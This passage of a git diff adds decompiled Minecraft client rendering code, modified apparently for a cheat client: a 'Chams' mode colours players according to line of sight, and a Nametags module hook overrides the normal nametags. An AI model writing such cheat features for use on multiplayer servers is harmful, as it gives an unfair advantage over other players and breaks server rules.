+      if ((chams.isEnabled()) && (mode.getValue() == Chams.ChamsMode.Textured) && 
+        ((p_77036_1_ instanceof EntityPlayer))) {
+        GL11.glPushMatrix();
+        GL11.glPushAttrib(1048575);
+        RenderUtil.pre();
+        GL11.glDisable(2896);
+        
+        GL11.glPolygonMode(1032, 6914);
+        GL11.glColor3d(!mcthePlayer.canEntityBeSeen(p_77036_1_) ? 1.0D : 0.0D, 
+          !mcthePlayer.canEntityBeSeen(p_77036_1_) ? 0.5D : 1.0D, 
+          !mcthePlayer.canEntityBeSeen(p_77036_1_) ? 0.0D : 0.0D);
+        mainModel.render(p_77036_1_, p_77036_2_, p_77036_3_, p_77036_4_, p_77036_5_, p_77036_6_, 
+          p_77036_7_);
+        GL11.glEnable(2896);
+        RenderUtil.post();
+        GL11.glPopAttrib();
+        GL11.glPopMatrix();
+      }
+      
+      if ((!chams.isEnabled()) || (mode.getValue() != Chams.ChamsMode.Textured)) {
+        mainModel.render(p_77036_1_, p_77036_2_, p_77036_3_, p_77036_4_, p_77036_5_, p_77036_6_, 
+          p_77036_7_);
+      }
+      
+      if (var9) {
+        GlStateManager.disableBlend();
+        GlStateManager.alphaFunc(516, 0.1F);
+        GlStateManager.popMatrix();
+        GlStateManager.depthMask(true);
+      }
+    }
+  }
+  
+  protected boolean func_177090_c(EntityLivingBase p_177090_1_, float p_177090_2_) {
+    return func_177092_a(p_177090_1_, p_177090_2_, true);
+  }
+  
+  protected boolean func_177092_a(EntityLivingBase p_177092_1_, float p_177092_2_, boolean p_177092_3_) {
+    float var4 = p_177092_1_.getBrightness(p_177092_2_);
+    int var5 = getColorMultiplier(p_177092_1_, var4, p_177092_2_);
+    boolean var6 = (var5 >> 24 & 0xFF) > 0;
+    boolean var7 = (hurtTime > 0) || (deathTime > 0);
+    
+    if ((!var6) && (!var7))
+      return false;
+    if ((!var6) && (!p_177092_3_)) {
+      return false;
+    }
+    GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit);
+    GlStateManager.func_179098_w();
+    GL11.glTexEnvi(8960, 8704, OpenGlHelper.field_176095_s);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176099_x, 8448);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176098_y, OpenGlHelper.defaultTexUnit);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176097_z, OpenGlHelper.field_176093_u);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176081_B, 768);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176082_C, 768);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176077_E, 7681);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176078_F, OpenGlHelper.defaultTexUnit);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176085_I, 770);
+    GlStateManager.setActiveTexture(OpenGlHelper.lightmapTexUnit);
+    GlStateManager.func_179098_w();
+    GL11.glTexEnvi(8960, 8704, OpenGlHelper.field_176095_s);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176099_x, OpenGlHelper.field_176094_t);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176098_y, OpenGlHelper.field_176092_v);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176097_z, OpenGlHelper.field_176091_w);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176080_A, OpenGlHelper.field_176092_v);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176081_B, 768);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176082_C, 768);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176076_D, 770);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176077_E, 7681);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176078_F, OpenGlHelper.field_176091_w);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176085_I, 770);
+    field_177095_g.position(0);
+    
+    if (var7) {
+      field_177095_g.put(1.0F);
+      field_177095_g.put(0.0F);
+      field_177095_g.put(0.0F);
+      field_177095_g.put(0.3F);
+      
+      if (Config.isShaders()) {
+        Shaders.setEntityColor(1.0F, 0.0F, 0.0F, 0.3F);
+      }
+    } else {
+      float var8 = (var5 >> 24 & 0xFF) / 255.0F;
+      float var9 = (var5 >> 16 & 0xFF) / 255.0F;
+      float var10 = (var5 >> 8 & 0xFF) / 255.0F;
+      float var11 = (var5 & 0xFF) / 255.0F;
+      field_177095_g.put(var9);
+      field_177095_g.put(var10);
+      field_177095_g.put(var11);
+      field_177095_g.put(1.0F - var8);
+      
+      if (Config.isShaders()) {
+        Shaders.setEntityColor(var9, var10, var11, 1.0F - var8);
+      }
+    }
+    
+    field_177095_g.flip();
+    GL11.glTexEnv(8960, 8705, field_177095_g);
+    GlStateManager.setActiveTexture(OpenGlHelper.field_176096_r);
+    GlStateManager.func_179098_w();
+    GlStateManager.func_179144_i(field_177096_e.getGlTextureId());
+    GL11.glTexEnvi(8960, 8704, OpenGlHelper.field_176095_s);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176099_x, 8448);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176098_y, OpenGlHelper.field_176091_w);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176097_z, OpenGlHelper.lightmapTexUnit);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176081_B, 768);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176082_C, 768);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176077_E, 7681);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176078_F, OpenGlHelper.field_176091_w);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176085_I, 770);
+    GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit);
+    return true;
+  }
+  
+  protected void func_177091_f()
+  {
+    GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit);
+    GlStateManager.func_179098_w();
+    GL11.glTexEnvi(8960, 8704, OpenGlHelper.field_176095_s);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176099_x, 8448);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176098_y, OpenGlHelper.defaultTexUnit);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176097_z, OpenGlHelper.field_176093_u);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176081_B, 768);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176082_C, 768);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176077_E, 8448);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176078_F, OpenGlHelper.defaultTexUnit);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176079_G, OpenGlHelper.field_176093_u);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176085_I, 770);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176086_J, 770);
+    GlStateManager.setActiveTexture(OpenGlHelper.lightmapTexUnit);
+    GL11.glTexEnvi(8960, 8704, OpenGlHelper.field_176095_s);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176099_x, 8448);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176081_B, 768);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176082_C, 768);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176098_y, 5890);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176097_z, OpenGlHelper.field_176091_w);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176077_E, 8448);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176085_I, 770);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176078_F, 5890);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.setActiveTexture(OpenGlHelper.field_176096_r);
+    GlStateManager.func_179090_x();
+    GlStateManager.func_179144_i(0);
+    GL11.glTexEnvi(8960, 8704, OpenGlHelper.field_176095_s);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176099_x, 8448);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176081_B, 768);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176082_C, 768);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176098_y, 5890);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176097_z, OpenGlHelper.field_176091_w);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176077_E, 8448);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176085_I, 770);
+    GL11.glTexEnvi(8960, OpenGlHelper.field_176078_F, 5890);
+    GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit);
+    
+    if (Config.isShaders()) {
+      Shaders.setEntityColor(0.0F, 0.0F, 0.0F, 0.0F);
+    }
+  }
+  
+
+
+
+  protected void renderLivingAt(EntityLivingBase p_77039_1_, double p_77039_2_, double p_77039_4_, double p_77039_6_)
+  {
+    GlStateManager.translate((float)p_77039_2_, (float)p_77039_4_, (float)p_77039_6_);
+  }
+  
+  protected void rotateCorpse(EntityLivingBase p_77043_1_, float p_77043_2_, float p_77043_3_, float p_77043_4_) {
+    GlStateManager.rotate(180.0F - p_77043_3_, 0.0F, 1.0F, 0.0F);
+    
+    if (deathTime > 0) {
+      float var6 = (deathTime + p_77043_4_ - 1.0F) / 20.0F * 1.6F;
+      var6 = MathHelper.sqrt_float(var6);
+      
+      if (var6 > 1.0F) {
+        var6 = 1.0F;
+      }
+      
+      GlStateManager.rotate(var6 * getDeathMaxRotation(p_77043_1_), 0.0F, 0.0F, 1.0F);
+    } else {
+      String var61 = EnumChatFormatting.getTextWithoutFormattingCodes(p_77043_1_.getName());
+      
+      if ((var61 != null) && ((var61.equals("Dinnerbone")) || (var61.equals("Grumm"))) && (
+        (!(p_77043_1_ instanceof EntityPlayer)) || 
+        (((EntityPlayer)p_77043_1_).func_175148_a(EnumPlayerModelParts.CAPE)))) {
+        GlStateManager.translate(0.0F, height + 0.1F, 0.0F);
+        GlStateManager.rotate(180.0F, 0.0F, 0.0F, 1.0F);
+      }
+    }
+  }
+  
+
+
+
+  protected float getSwingProgress(EntityLivingBase p_77040_1_, float p_77040_2_)
+  {
+    return p_77040_1_.getSwingProgress(p_77040_2_);
+  }
+  
+
+
+  protected float handleRotationFloat(EntityLivingBase p_77044_1_, float p_77044_2_)
+  {
+    return ticksExisted + p_77044_2_;
+  }
+  
+  protected void func_177093_a(EntityLivingBase p_177093_1_, float p_177093_2_, float p_177093_3_, float p_177093_4_, float p_177093_5_, float p_177093_6_, float p_177093_7_, float p_177093_8_)
+  {
+    Iterator var9 = field_177097_h.iterator();
+    
+    while (var9.hasNext()) {
+      LayerRenderer var10 = (LayerRenderer)var9.next();
+      boolean var11 = func_177092_a(p_177093_1_, p_177093_4_, var10.shouldCombineTextures());
+      if (renderLayer) {
+        var10.doRenderLayer(p_177093_1_, p_177093_2_, p_177093_3_, p_177093_4_, p_177093_5_, p_177093_6_, 
+          p_177093_7_, p_177093_8_);
+      }
+      if (var11) {
+        func_177091_f();
+      }
+    }
+  }
+  
+  protected float getDeathMaxRotation(EntityLivingBase p_77037_1_) {
+    return 90.0F;
+  }
+  
+
+
+
+  protected int getColorMultiplier(EntityLivingBase p_77030_1_, float p_77030_2_, float p_77030_3_)
+  {
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void passSpecialRender(EntityLivingBase p_77033_1_, double p_77033_2_, double p_77033_4_, double p_77033_6_)
+  {
+    if ((Client.instance.getModuleManager().getModuleByClass(com.enjoytheban.module.modules.render.Nametags.class).isEnabled()) && 
+      ((p_77033_1_ instanceof EntityPlayer))) {
+      return;
+    }
+    
+    if (Reflector.RenderLivingEvent_Specials_Pre_Constructor.exists())
+    {
+      if (Reflector.postForgeBusEvent(Reflector.RenderLivingEvent_Specials_Pre_Constructor, new Object[] { p_77033_1_, this, Double.valueOf(p_77033_2_), Double.valueOf(p_77033_4_), Double.valueOf(p_77033_6_) })) {}
+    } else { if (canRenderName(p_77033_1_)) {
+        double var8 = p_77033_1_.getDistanceSqToEntity(renderManager.livingPlayer);
+        float var10 = p_77033_1_.isSneaking() ? NAME_TAG_RANGE_SNEAK : NAME_TAG_RANGE;
+        
+        if (var8 < var10 * var10) {
+          String var11 = p_77033_1_.getDisplayName().getFormattedText();
+          float var12 = 0.02666667F;
+          GlStateManager.alphaFunc(516, 0.1F);
+          
+          if (p_77033_1_.isSneaking()) {
+            FontRenderer var13 = getFontRendererFromRenderManager();
+            GlStateManager.pushMatrix();
+            GlStateManager.translate((float)p_77033_2_, (float)p_77033_4_ + height + 0.5F - (
+              p_77033_1_.isChild() ? height / 2.0F : 0.0F), (float)p_77033_6_);
+            GL11.glNormal3f(0.0F, 1.0F, 0.0F);
+            GlStateManager.rotate(-renderManager.playerViewY, 0.0F, 1.0F, 0.0F);
+            GlStateManager.rotate(renderManager.playerViewX, 1.0F, 0.0F, 0.0F);
+            GlStateManager.scale(-0.02666667F, -0.02666667F, 0.02666667F);
+            GlStateManager.translate(0.0F, 9.374999F, 0.0F);
+            GlStateManager.disableLighting();
+            GlStateManager.depthMask(false);
+            GlStateManager.enableBlend();
+            GlStateManager.func_179090_x();
+            GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+            Tessellator var14 = Tessellator.getInstance();
+            WorldRenderer var15 = var14.getWorldRenderer();
+            var15.startDrawingQuads();
+            int var16 = var13.getStringWidth(var11) / 2;
+            var15.func_178960_a(0.0F, 0.0F, 0.0F, 0.25F);
+            var15.addVertex(-var16 - 1, -1.0D, 0.0D);
+            var15.addVertex(-var16 - 1, 8.0D, 0.0D);
+            var15.addVertex(var16 + 1, 8.0D, 0.0D);
+            var15.addVertex(var16 + 1, -1.0D, 0.0D);
+            var14.draw();
+            GlStateManager.func_179098_w();
+            GlStateManager.depthMask(true);
+            var13.drawString(var11, -var13.getStringWidth(var11) / 2, 0, 553648127);
+            GlStateManager.enableLighting();
+            GlStateManager.disableBlend();
+            GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+            GlStateManager.popMatrix();
+          } else {
+            func_177069_a(p_77033_1_, p_77033_2_, 
+              p_77033_4_ - (p_77033_1_.isChild() ? height / 2.0F : 0.0D), 
+              p_77033_6_, var11, 0.02666667F, var8);
+          }
+        }
+      }
+      
+      if (Reflector.RenderLivingEvent_Specials_Post_Constructor.exists())
+      {
+
+        if (Reflector.postForgeBusEvent(Reflector.RenderLivingEvent_Specials_Post_Constructor, new Object[] { p_77033_1_, this, Double.valueOf(p_77033_2_), Double.valueOf(p_77033_4_), Double.valueOf(p_77033_6_) })) {}
+      }
+    }
+  }
+  
+
+
+
+  protected boolean canRenderName(EntityLivingBase targetEntity)
+  {
+    EntityPlayerSP var2 = getMinecraftthePlayer;
+    
+    if (((targetEntity instanceof EntityPlayer)) && (targetEntity != var2)) {
+      Team var3 = targetEntity.getTeam();
+      Team var4 = var2.getTeam();
+      
+      if (var3 != null) {
+        Team.EnumVisible var5 = var3.func_178770_i();
+        
+        switch (SwitchEnumVisible.field_178679_a[var5.ordinal()]) {
+        case 1: 
+          return true;
+        
+        case 2: 
+          return false;
+        
+        case 3: 
+          return (var4 == null) || (var3.isSameTeam(var4));
+        
+        case 4: 
+          return (var4 == null) || (!var3.isSameTeam(var4));
+        }
+        
+        return true;
+      }
+    }
+    
+
+    return (Minecraft.isGuiEnabled()) && (targetEntity != renderManager.livingPlayer) && 
+      (!targetEntity.isInvisibleToPlayer(var2)) && (riddenByEntity == null);
+  }
+  
+  public void func_177086_a(boolean p_177086_1_) {
+    field_177098_i = p_177086_1_;
+  }
+  
+  protected boolean func_177070_b(Entity p_177070_1_) {
+    return canRenderName((EntityLivingBase)p_177070_1_);
+  }
+  
+  public void func_177067_a(Entity p_177067_1_, double p_177067_2_, double p_177067_4_, double p_177067_6_) {
+    passSpecialRender((EntityLivingBase)p_177067_1_, p_177067_2_, p_177067_4_, p_177067_6_);
+  }
+  
+
+
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityLivingBase)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  static {
+    int[] var0 = field_177096_e.getTextureData();
+    
+    for (int var1 = 0; var1 < 256; var1++) {
+      var0[var1] = -1;
+    }
+    
+    field_177096_e.updateDynamicTexture(); }
+  
+  public void func_82422_c() {}
+  
+  static final class SwitchEnumVisible { static final int[] field_178679_a = new int[Team.EnumVisible.values().length];
+    
+    static {
+      try {
+        field_178679_a[Team.EnumVisible.ALWAYS.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+      try
+      {
+        field_178679_a[Team.EnumVisible.NEVER.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+      try
+      {
+        field_178679_a[Team.EnumVisible.HIDE_FOR_OTHER_TEAMS.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+      try
+      {
+        field_178679_a[Team.EnumVisible.HIDE_FOR_OWN_TEAM.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumVisible() {}
+  }
+  
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_) {}
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerArmorBase.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerArmorBase.java
new file mode 100644
index 0000000..d2759fb
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerArmorBase.java
@@ -0,0 +1,317 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import java.util.Map;
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.RendererLivingEntity;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemArmor.ArmorMaterial;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ResourceLocation;
+import optifine.Config;
+import optifine.CustomItems;
+import optifine.Reflector;
+import optifine.ReflectorMethod;
+import shadersmod.client.ShadersRender;
+
+public abstract class LayerArmorBase implements LayerRenderer
+{
+  protected static final ResourceLocation field_177188_b = new ResourceLocation("textures/misc/enchanted_item_glint.png");
+  protected ModelBase field_177189_c;
+  protected ModelBase field_177186_d;
+  private final RendererLivingEntity field_177190_a;
+  private float field_177187_e = 1.0F;
+  private float field_177184_f = 1.0F;
+  private float field_177185_g = 1.0F;
+  private float field_177192_h = 1.0F;
+  private boolean field_177193_i;
+  private static final Map field_177191_j = com.google.common.collect.Maps.newHashMap();
+  private static final String __OBFID = "CL_00002428";
+  
+  public LayerArmorBase(RendererLivingEntity p_i46125_1_)
+  {
+    field_177190_a = p_i46125_1_;
+    func_177177_a();
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    func_177182_a(p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_, 4);
+    func_177182_a(p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_, 3);
+    func_177182_a(p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_, 2);
+    func_177182_a(p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_, 1);
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return false;
+  }
+  
+  private void func_177182_a(EntityLivingBase p_177182_1_, float p_177182_2_, float p_177182_3_, float p_177182_4_, float p_177182_5_, float p_177182_6_, float p_177182_7_, float p_177182_8_, int p_177182_9_)
+  {
+    ItemStack var10 = func_177176_a(p_177182_1_, p_177182_9_);
+    
+    if ((var10 != null) && ((var10.getItem() instanceof ItemArmor)))
+    {
+      ItemArmor var11 = (ItemArmor)var10.getItem();
+      ModelBase var12 = func_177175_a(p_177182_9_);
+      var12.setModelAttributes(field_177190_a.getMainModel());
+      var12.setLivingAnimations(p_177182_1_, p_177182_2_, p_177182_3_, p_177182_4_);
+      
+      if (Reflector.ForgeHooksClient_getArmorModel.exists())
+      {
+        var12 = (ModelBase)Reflector.call(Reflector.ForgeHooksClient_getArmorModel, new Object[] { p_177182_1_, var10, Integer.valueOf(p_177182_9_), var12 });
+      }
+      
+      func_177179_a(var12, p_177182_9_);
+      boolean var13 = func_177180_b(p_177182_9_);
+      
+      if (Config.isCustomItems()) { if (CustomItems.bindCustomArmorTexture(var10, var13 ? 2 : 1, null)) {}
+      }
+      else if (Reflector.ForgeHooksClient_getArmorTexture.exists())
+      {
+        field_177190_a.bindTexture(getArmorResource(p_177182_1_, var10, var13 ? 2 : 1, null));
+      }
+      else
+      {
+        field_177190_a.bindTexture(func_177181_a(var11, var13));
+      }
+      
+
+
+
+
+
+
+      if (Reflector.ForgeHooksClient_getArmorTexture.exists())
+      {
+        int var14 = var11.getColor(var10);
+        
+        if (var14 != -1)
+        {
+          float var15 = (var14 >> 16 & 0xFF) / 255.0F;
+          float var16 = (var14 >> 8 & 0xFF) / 255.0F;
+          float var17 = (var14 & 0xFF) / 255.0F;
+          GlStateManager.color(field_177184_f * var15, field_177185_g * var16, field_177192_h * var17, field_177187_e);
+          var12.render(p_177182_1_, p_177182_2_, p_177182_3_, p_177182_5_, p_177182_6_, p_177182_7_, p_177182_8_);
+          
+          if (Config.isCustomItems()) { if (CustomItems.bindCustomArmorTexture(var10, var13 ? 2 : 1, "overlay")) {}
+          } else {
+            field_177190_a.bindTexture(getArmorResource(p_177182_1_, var10, var13 ? 2 : 1, "overlay"));
+          }
+        }
+        
+        GlStateManager.color(field_177184_f, field_177185_g, field_177192_h, field_177187_e);
+        var12.render(p_177182_1_, p_177182_2_, p_177182_3_, p_177182_5_, p_177182_6_, p_177182_7_, p_177182_8_);
+        
+        if ((!field_177193_i) && (var10.isItemEnchanted()) && ((!Config.isCustomItems()) || (!CustomItems.renderCustomArmorEffect(p_177182_1_, var10, var12, p_177182_2_, p_177182_3_, p_177182_4_, p_177182_5_, p_177182_6_, p_177182_7_, p_177182_8_))))
+        {
+          func_177183_a(p_177182_1_, var12, p_177182_2_, p_177182_3_, p_177182_4_, p_177182_5_, p_177182_6_, p_177182_7_, p_177182_8_);
+        }
+        
+        return;
+      }
+      
+      switch (SwitchArmorMaterial.field_178747_a[var11.getArmorMaterial().ordinal()])
+      {
+      case 1: 
+        int var14 = var11.getColor(var10);
+        float var15 = (var14 >> 16 & 0xFF) / 255.0F;
+        float var16 = (var14 >> 8 & 0xFF) / 255.0F;
+        float var17 = (var14 & 0xFF) / 255.0F;
+        GlStateManager.color(field_177184_f * var15, field_177185_g * var16, field_177192_h * var17, field_177187_e);
+        var12.render(p_177182_1_, p_177182_2_, p_177182_3_, p_177182_5_, p_177182_6_, p_177182_7_, p_177182_8_);
+        
+        if (Config.isCustomItems()) if (CustomItems.bindCustomArmorTexture(var10, var13 ? 2 : 1, "overlay"))
+            break; else {
+          field_177190_a.bindTexture(func_177178_a(var11, var13, "overlay"));
+        }
+      
+      case 2: 
+      case 3: 
+      case 4: 
+      case 5: 
+        GlStateManager.color(field_177184_f, field_177185_g, field_177192_h, field_177187_e);
+        var12.render(p_177182_1_, p_177182_2_, p_177182_3_, p_177182_5_, p_177182_6_, p_177182_7_, p_177182_8_);
+      }
+      
+      if ((!field_177193_i) && (var10.isItemEnchanted()) && ((!Config.isCustomItems()) || (!CustomItems.renderCustomArmorEffect(p_177182_1_, var10, var12, p_177182_2_, p_177182_3_, p_177182_4_, p_177182_5_, p_177182_6_, p_177182_7_, p_177182_8_))))
+      {
+        func_177183_a(p_177182_1_, var12, p_177182_2_, p_177182_3_, p_177182_4_, p_177182_5_, p_177182_6_, p_177182_7_, p_177182_8_);
+      }
+    }
+  }
+  
+
+  public ItemStack func_177176_a(EntityLivingBase p_177176_1_, int p_177176_2_)
+  {
+    return p_177176_1_.getCurrentArmor(p_177176_2_ - 1);
+  }
+  
+  public ModelBase func_177175_a(int p_177175_1_)
+  {
+    return func_177180_b(p_177175_1_) ? field_177189_c : field_177186_d;
+  }
+  
+  private boolean func_177180_b(int p_177180_1_)
+  {
+    return p_177180_1_ == 2;
+  }
+  
+  private void func_177183_a(EntityLivingBase p_177183_1_, ModelBase p_177183_2_, float p_177183_3_, float p_177183_4_, float p_177183_5_, float p_177183_6_, float p_177183_7_, float p_177183_8_, float p_177183_9_)
+  {
+    if ((!Config.isCustomItems()) || (CustomItems.isUseGlint()))
+    {
+      if (Config.isShaders())
+      {
+        if (shadersmod.client.Shaders.isShadowPass)
+        {
+          return;
+        }
+        
+        ShadersRender.layerArmorBaseDrawEnchantedGlintBegin();
+      }
+      
+      float var10 = ticksExisted + p_177183_5_;
+      field_177190_a.bindTexture(field_177188_b);
+      GlStateManager.enableBlend();
+      GlStateManager.depthFunc(514);
+      GlStateManager.depthMask(false);
+      float var11 = 0.5F;
+      GlStateManager.color(var11, var11, var11, 1.0F);
+      
+      for (int var12 = 0; var12 < 2; var12++)
+      {
+        GlStateManager.disableLighting();
+        GlStateManager.blendFunc(768, 1);
+        float var13 = 0.76F;
+        GlStateManager.color(0.5F * var13, 0.25F * var13, 0.8F * var13, 1.0F);
+        GlStateManager.matrixMode(5890);
+        GlStateManager.loadIdentity();
+        float var14 = 0.33333334F;
+        GlStateManager.scale(var14, var14, var14);
+        GlStateManager.rotate(30.0F - var12 * 60.0F, 0.0F, 0.0F, 1.0F);
+        GlStateManager.translate(0.0F, var10 * (0.001F + var12 * 0.003F) * 20.0F, 0.0F);
+        GlStateManager.matrixMode(5888);
+        p_177183_2_.render(p_177183_1_, p_177183_3_, p_177183_4_, p_177183_6_, p_177183_7_, p_177183_8_, p_177183_9_);
+      }
+      
+      GlStateManager.matrixMode(5890);
+      GlStateManager.loadIdentity();
+      GlStateManager.matrixMode(5888);
+      GlStateManager.enableLighting();
+      GlStateManager.depthMask(true);
+      GlStateManager.depthFunc(515);
+      GlStateManager.disableBlend();
+      
+      if (Config.isShaders())
+      {
+        ShadersRender.layerArmorBaseDrawEnchantedGlintEnd();
+      }
+    }
+  }
+  
+  private ResourceLocation func_177181_a(ItemArmor p_177181_1_, boolean p_177181_2_)
+  {
+    return func_177178_a(p_177181_1_, p_177181_2_, null);
+  }
+  
+  private ResourceLocation func_177178_a(ItemArmor p_177178_1_, boolean p_177178_2_, String p_177178_3_)
+  {
+    String var4 = String.format("textures/models/armor/%s_layer_%d%s.png", new Object[] { p_177178_1_.getArmorMaterial().func_179242_c(), Integer.valueOf(p_177178_2_ ? 2 : 1), p_177178_3_ == null ? "" : String.format("_%s", new Object[] { p_177178_3_ }) });
+    ResourceLocation var5 = (ResourceLocation)field_177191_j.get(var4);
+    
+    if (var5 == null)
+    {
+      var5 = new ResourceLocation(var4);
+      field_177191_j.put(var4, var5);
+    }
+    
+    return var5;
+  }
+  
+  protected abstract void func_177177_a();
+  
+  protected abstract void func_177179_a(ModelBase paramModelBase, int paramInt);
+  
+  public ResourceLocation getArmorResource(Entity entity, ItemStack stack, int slot, String type)
+  {
+    ItemArmor item = (ItemArmor)stack.getItem();
+    String texture = ((ItemArmor)stack.getItem()).getArmorMaterial().func_179242_c();
+    String domain = "minecraft";
+    int idx = texture.indexOf(':');
+    
+    if (idx != -1)
+    {
+      domain = texture.substring(0, idx);
+      texture = texture.substring(idx + 1);
+    }
+    
+    String s1 = String.format("%s:textures/models/armor/%s_layer_%d%s.png", new Object[] { domain, texture, Integer.valueOf(slot == 2 ? 2 : 1), type == null ? "" : String.format("_%s", new Object[] { type }) });
+    s1 = Reflector.callString(Reflector.ForgeHooksClient_getArmorTexture, new Object[] { entity, stack, s1, Integer.valueOf(slot), type });
+    ResourceLocation resourcelocation = (ResourceLocation)field_177191_j.get(s1);
+    
+    if (resourcelocation == null)
+    {
+      resourcelocation = new ResourceLocation(s1);
+      field_177191_j.put(s1, resourcelocation);
+    }
+    
+    return resourcelocation;
+  }
+  
+  static final class SwitchArmorMaterial
+  {
+    static final int[] field_178747_a = new int[ItemArmor.ArmorMaterial.values().length];
+    private static final String __OBFID = "CL_00002427";
+    
+    static
+    {
+      try
+      {
+        field_178747_a[ItemArmor.ArmorMaterial.LEATHER.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178747_a[ItemArmor.ArmorMaterial.CHAIN.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178747_a[ItemArmor.ArmorMaterial.IRON.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_178747_a[ItemArmor.ArmorMaterial.GOLD.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_178747_a[ItemArmor.ArmorMaterial.DIAMOND.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+    }
+    
+    SwitchArmorMaterial() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerArrow.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerArrow.java
new file mode 100644
index 0000000..9579cec
--- /dev/null
